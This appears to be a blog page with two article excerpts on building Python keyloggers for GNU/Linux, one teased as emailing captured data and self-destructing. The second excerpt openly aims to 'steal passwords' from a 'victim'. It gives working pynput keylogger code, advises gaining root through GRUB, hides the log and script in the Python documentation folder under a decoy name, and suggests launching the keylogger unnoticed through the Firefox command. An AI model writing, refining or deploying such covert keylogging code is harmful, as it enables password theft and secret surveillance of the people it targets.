Python keylogger for GNU/Linux. Send information by email and self-destruct

In this article I show you how to program an advanced keylogger that sends messages by email and self-destructs after a certain date.

Keep reading Python keylogger for GNU/Linux. Send information by email and self-destruct

Basic keylogger for GNU/Linux to steal passwords and typed information

A simple way to steal passwords is to install a keylogger on the victim's computer. I am going to show how to do this on GNU/Linux using the Python programming language.

The first thing to do is to obtain superuser permissions. If the computer is managed by us, we already know the password. If not, we can get superuser access from GRUB. With the necessary permissions, we are free to install the keylogger.

First of all, the pynput library must be installed executing...

sudo pip install pynput

Next, we need to write the keylogger. This is the code we will use:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

The keylog is stored in log_dir. In this case, I have specified the GNU/Linux Python 3 documentation folder. The keylogger can also be stored in the same directory, perhaps with the name compile_docs.py or something similar to avoid attracting attention. Ideally, choose a folder that the victim is not going to enter to prevent them from realising what we are doing.

The last step would be to run the program every time the computer is turned on or a program is started without the victim noticing. If, for example, we want to start the keylogger every time the user opens Firefox, we can modify the Firefox command. Keep reading Basic keylogger for GNU/Linux to steal passwords and typed information